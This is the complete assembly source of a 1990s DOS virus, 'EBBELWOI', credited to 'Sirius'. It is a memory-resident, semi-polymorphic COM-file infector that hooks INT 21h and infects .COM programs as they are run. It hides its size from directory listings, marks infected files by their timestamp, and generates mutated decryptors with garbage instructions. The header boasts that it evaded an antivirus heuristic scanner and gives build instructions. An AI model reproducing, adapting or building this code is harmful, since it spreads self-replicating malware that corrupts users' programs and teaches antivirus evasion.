COMMENT * EBBELWOI VIRUS / Subversion Qux-7 by Sirius -------------------------------------------------------------------- Made in Germany, 1993-4 It is an easy to understand Semi-polymorphic, memory resident parasitic COM-File-Infector utilizing simple filelength-stealth. This piece of replicating code could not be found by the heuristic algorithms of Thunderbyte AV. The version used was TbSCAN 6.09. For compilation please use Turbo Assembler (3.0) from Borland. * ofs equ offset v_len equ end_mark - encrypted_code enc_len equ (offset end_enc_code-offset encrypted_code)/2 + 1 CODE SEGMENT ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE ORG 100h sample: jmp start start: DB 0BEh ;1) = mov si, ofs_enc _ofs_enc DW ofs encrypted_code DB 0BAh ;2) = mov dx, enc_val _enc_val DW 0000 CRYPT: DB 0B9h ;3) = mov cx,v_len _len_vir DW 0000 n_loop: ;-------------------------------------------------- xor [si],dx ;4) ; 4 bytes nop ; nop ; ;-------------------------------------------------- ;-------------------------------------------------- nop ;5) ;; 2 bytes nop ;; place 4 enc. key change ;-------------------------------------------------- ;-------------------------------------------------- inc si ;6) ; 3 bytes inc si ; nop ; ;-------------------------------------------------- loop n_loop ;7) ; 2 bytes ;-------------------------------------------------- nop_ret: ; NOP ; may be set to a RET (0c3h) ;8) ; ;-------------------------------------------------- ;============================================================================ encrypted_code: call s1 ; push ofs s1 s1: pop bp sub bp,ofs s1 mov ax,0FEFEh int 21h cmp si,01994h jz already_resident xor AX,AX mov DS,AX lds BX,ds:[4*21h] ; get int 21 handler mov word ptr cs:[bp+OLD_BX],BX mov word ptr cs:[bp+OLD_ES],DS mov bx,cs ; Get address of our memory dec bx ; block mov DS,BX ; decrease memory allocated sub WORD PTR ds:[0003h],150h ; to this program sub word ptr ds:[0012h],150h ; decrease avail. memory mov word ptr ax,ds:[0012h] ; by paragraphs (=10 bytes) mov es,ax ; es = our new segment push cs pop ds lea si,[bp+encrypted_code] ; copy virus-body w/o decryptor to TOM mov di,ofs encrypted_code ; ES:encrypted_code is destination - mov cx,v_len ; so the offsets in the interrupt repz movsb ; are equal to offsets in this ; sample file mov ds,cx ; cx=0 cli ; set our handler MOV word ptr ds:[4*21h+2],AX MOV WORD PTR ds:[4*21h],offset new_21 sti push cs pop ds push cs pop es already_resident: lea si,[bp+orig_bytes] ;restore first 3bytes of prog mov di,100h movsb movsw mov ax,100h push ax xor ax,ax ret ;============================================================================ NEW_21: pushf cmp ax,4b00h jz function_to_hang cmp ah,11h jz dos_dir cmp ah,12h jz dos_dir cmp ax,0FEFEh jne false_function mov ax,0FE00h mov si,1994h popf iret false_function: go_int_popf: popf call_original_21: DB 0EAh ; FAR JUMP old_es:old_bx old_bx DW 1122h old_es DW 3344h dir_flag DB 00 ;============================================================================ dos_dir: DB 2Eh ; assume CS: cmp cs:dir_flag,1 jz go_int_popf mov cs:dir_flag,1 int 21h mov cs:dir_flag,0 push ax push bx push dx push ds push es pushf or al,al ; not zero means no files found jnz no_files_found mov ah,51h int 21h mov es,bx cmp bx,es:16 ; equal is DOS jne no_files_found mov ah,2fh int 21h push es pop ds cmp byte ptr [bx],0ffh jnz n_FCB add bx,7 n_FCB: mov al,byte ptr [bx+23] and al,00011111b cmp al,00000011b ;vegleichen auf sec.=6 (=3) jnz no_files_found sub word ptr [bx+29],(v_len+117) ; 117 is length of decryptor sbb word ptr [bx+31],0 no_files_found: popf pop es pop ds pop dx pop bx pop ax exit: popf iret ;============================================================================ function_to_hang: cld push ax ; Function EXECUTE: push bx ; DS:DX = @ of filename push cx push dx push si push di push ds push es push cs ; Move file-name to our buffer pop es mov di,offset name_buf mov si,dx mov cx,64 ; a path can be up to 64 chars long rep movsb push cs pop ds ;------------check if program executed is a .COM file------------------------ mov si,offset name_buf orange: lodsb or al,al jnz orange cmp [si-3],'MO' jz apple jmp break_infection apple: cmp [si-6],'.D' ; dont infect command.com jnz continue_com jmp break_infection ;--------------------our write error int24 handler-------------------------- new_int24: mov al,3 ;choose '(F)ail' iret ;============================================================================ continue_COM: mov ax,4301h ; clear attributes mov dx,offset name_buf xor cx,cx int 21h mov ax,3d02h ;open file mov dx,offset name_buf int 21h jc done mov handle,ax ; save it for later turbulences xchg ax,bx push bx mov ah,2fh ; copy DTA to buffer int 21h ; @ of DTA = es:bx push es pop ds push cs pop es mov si,bx add si,15h ; only copy a part of DTA mov di,offset dta ; mov cx,5 cld ; rep movsb movsb movsw movsw push cs pop ds pop bx push cs pop es mov ax,time and al,00011111b cmp al,00000011b ;vegleichen auf sec.=6 (=3) jnz infect done: mov ah,3eh ;close file int 21h break_infection: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp false_function infect: mov ah,3fh ;erste 3 byt d. zuinfiz.prog mov dx,offset orig_bytes ;sichern mov cx,3 int 21h cmp word ptr offset orig_bytes-3,"MZ" jz done cmp word ptr offset orig_bytes-3,"ZM" jz done cmp word ptr offset orig_bytes-3,0E957h ; checks if L.COM jz done mov ax,4202h ;pointer to EOF xor cx,cx cwd int 21h mov fil_len,ax ; L„nge der Opfer-Datei jc done cmp ax,3 ; file length check jb done cmp ax,50000 jnb done sub ax,3 mov word ptr addr_jmp_op+1,ax ;jmp - argument add ax,encrypted_code-start+103h mov word ptr [ofs_enc],ax push ds ; inits a random number for xor ax,ax ; procedure random from timer mov ds,ax mov ax,ds:[46ch] pop ds mov init_nr,ax ;============================================================================ ;change decryptor-header with the polymorphic method ; calculate dx = enc_val mov ax,-2 call random mov enc_val,ax call polymorphism ;============================================================================ ;calculate and set si-argument mov ax,kilo sub ax,ofs enc_buffer add ax,fil_len add ax,100h mov si,ofs_mov_si mov [si+1],ax ;calculate and set cx-Argument mov ax,v_len mov si,ofs_crypt mov [si+1],ax ;calculate and set loop-Argument mov ax,kilo sub ax,ofs_n_loop not ax sub ax,2 mov si,ofs_loop mov byte ptr [si+1],al ;copy virus-body to buffer mov si,offset encrypted_code mov di,kilo ; Ofs des n„chsten freien Byte - direkt dem ; Decryptor folgend mov cx,v_len cld rep movsb ;encrypt virus-body-copy ( header wont get encrypted ) mov si,kilo mov dx,enc_val mov di,kilo mov byte ptr [di-1], 0C3h ; = RET opcode mov ax,ofs_crypt push di call ax pop di mov byte ptr [di-1], 090h ; = NOP opcode mov dx,offset enc_buffer mov cx,v_len mov ax,[kilo] sub ax,dx add cx,ax mov bx,handle mov ah,40h ;copy encrypted virus to file int 21h jnc york jmp done york: mov ax,4200h ;bei al=2 ist schreiben ok !! xor cx,cx ;goto TOF cwd int 21h mov ah,40h ;write new 3 bytes mov cx,3 mov dx,offset addr_jmp_op int 21h mov ax,5701h mov dx,date mov cx,time and cl,11100000b or cl,00000011b ;set 6 sec.!!!!!!!! int 21h jmp done ;============================================================================ ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+ ; FIELD NR. | 1. | 2. | 3. | 4. | 5. | 6. | 7. | 8. | ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+ ; | | | | | | | | | ; Anfang des Feldes innerhalb der TAB_MUT TAB_OFS_ARR DW ofs arr_1, ofs arr_2,ofs arr_3,ofs arr_4,ofs arr_5,ofs arr_6,ofs arr_7, ofs arr_8 ; | | | | | | | | | ; L„nge des Feldes TAB_LEN_ARR DW 3, 3, 3, 4, 2, 3, 2, 1 ; | | | | | | | | | ; Anzahl der verschiedenen Variationen des einen Feldes TAB_MUT_VAR DW 1, 1, 1, 4, 6, 3, 1, 1 ; | | | | | | | | | ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+ ALL_ARRAYS equ 8 ; Field Sum tab_mut: arr_1: ;------------------------------------------ DB 0BEh ; = mov si, ofs_enc ofs_enc DW 0000 ;ofs encrypted_code arr_2: ;------------------------------------------ DB 0BAh ; = mov dx, enc_val enc_val DW 0000 arr_3: ;---------------- 2 bytes ----------------- DB 0B9h ; = mov cx,v_len len_vir DW 0000 arr_4: ;--------------- 4 bytes ------------------ ;-1- dec bp xor [si],dx inc ax ;-2- xchg ax,dx xor [si],ax xchg ax,dx ;-3- mov di,si xor [di],dx ;-4- mov bx,si xor [bx],dx arr_5: ;-------------- 2 bytes -------------------- ;-1- inc dx dec ax ;-2- dec dx inc di ;-3- rol dx,1 ;-4- ror dx,1 ;-5- neg dx ;-6- not dx arr_6: ;------------ 3 bytes ----------------------- ;-1- inc si inc si inc di ;-2- add si,2 ;-3- sub si,-2 arr_7: ;-------------------------------------------- DB 0E2h ; = LOOP n_loop DB 00 arr_8: ;--------------------------------------------- nop ;============================================================================ POLYMORPHISM proc near push ax bx cx dx si di bp ds es mov cx,all_arrays xor bx,bx mov kilo,ofs enc_buffer next_array: call GARB push cx mov si,[offset tab_ofs_arr+bx] ; offset innerhalb der TAB_MUT call var_random ; get one Variant mov dx,[offset tab_len_arr+bx] ; L„nge einer Variante mul dx ; ax:=ax*dx add si,ax ; si=Anfang der gew„hlten Variante mov cx,[offset tab_len_arr+bx] ; L„nge der Variante mov di, kilo ; Offset in der CRYPT-Routine pop ax ; cx auf dem Stack = Nr. des akt. Feldes cmp ax,all_arrays ; Speichere einige wichtige Konstanten jne oo1 mov ofs_mov_si,di ; liefert immer den Beginn des Feldes jmp short oo0 oo1: cmp ax,all_arrays-1 jne oo2 mov ofs_mov_dx,di jmp short oo0 oo2: cmp ax,all_arrays-2 jne oo3 mov ofs_crypt,di jmp short oo0 oo3: cmp ax,all_arrays-4 jne oo4 mov ofs_n_loop,di jmp short oo0 oo4: cmp ax,all_arrays-6 jne oo0 mov ofs_loop,di oo0: push ax cld rep movsb mov kilo,di inc bx inc bx pop cx loop next_array pop es ds bp di si dx cx bx ax ret POLYMORPHISM endp VAR_RANDOM proc near push si ;--- mov ax,[tab_mut_var+bx] ; Eine Zahl im Bereich der max. Varianten call random ; Anzahl wird erzeugt. pop si ;--- ret VAR_RANDOM endp ;============================================================================ ; gives you a random number: 0 >= number > AX ;============================================================================ RANDOM proc near ; gives you a pseudo-random number in AX push bx dx inc cycle mov bx,init_nr push cx ;----- mov cl,cycle ; do more randomly ror bx,cl ; pop cx ;----- rcl bx,1 rcl bx,1 mov init_nr,bx mul bx xchg ax,dx ; AX = pseudo-random number pop dx bx ret cycle DB 0 RANDOM endp GARB proc near ; behandelt einen Feld-Zwischenraum push ax cx dx si di mov cx,3 ; 4 is maximum due to a SHORT LOOP ;============================================================================ ; behandelt eine Instruktion ;============================================================================ garry: mov si,ofs codez other: mov ax,codez_number ; Anzahl der codez in der Tabelle call random cmp al,last_codez jz other mov last_codez,al add si,ax ; Adr. des zuf. codez's mov di,kilo movsb mov ax,-2 call random stosw mov kilo,di ; aktualisiere cant loop garry pop di si dx cx ax ret GARB endp ;============================================================================ last_codez DB 0 codez: DB 0BFh ; mov di,xxxx DB 0BBh ; mov bx,xxxx DB 0BDh ; mov bp,xxxx DB 0A1h ; mov ax,[xxxx] DB 05h ; add ax,xxxx DB 2Dh ; sub ax,xxxx DB 3Dh ; cmp ax,xxxx DB 0Dh ; or ax,xxxx DB 25h ; and ax,xxxx DB 0A9h ; test ax,xxxx DB 15h ; adc ax,xxxx DB 1Dh ; sbb ax,xxxx codez_number equ $-codez orig_bytes db 90h,0CDh,20h addr_jmp_op db 0E9h,00,00 DB "[EBBELWOI] Version QUX-7 3/94 Sirius",0 end_enc_code equ $ end_mark equ $ ;============================================================================ ; Variables ;============================================================================ ofs_mov_si dw 0000 ofs_mov_dx dw 0000 ofs_crypt dw 0000 ofs_n_loop dw 0000 ofs_loop dw 0000 fil_len dw 0000 ; L„nge der Opfer-Datei ofs_crypt_buf dw 0000 ; Adresse der Crypt-Routine im Puffer init_nr dw 0000 ; will be init'd anyway int24_es dw 0000 int24_bx dw 0000 temp_time dw 0000 temp_date dw 0000 handle dw 0000 kilo dw 0000 ; enth„lt den Offset, an den Instruktionen ; kopiert werden dta equ $ attribs db 00 time dw 0000 date dw 0000 name_buf db 0 ; here a 64 bytes buffer for path+filename enc_buffer equ $ CODE ENDS END sample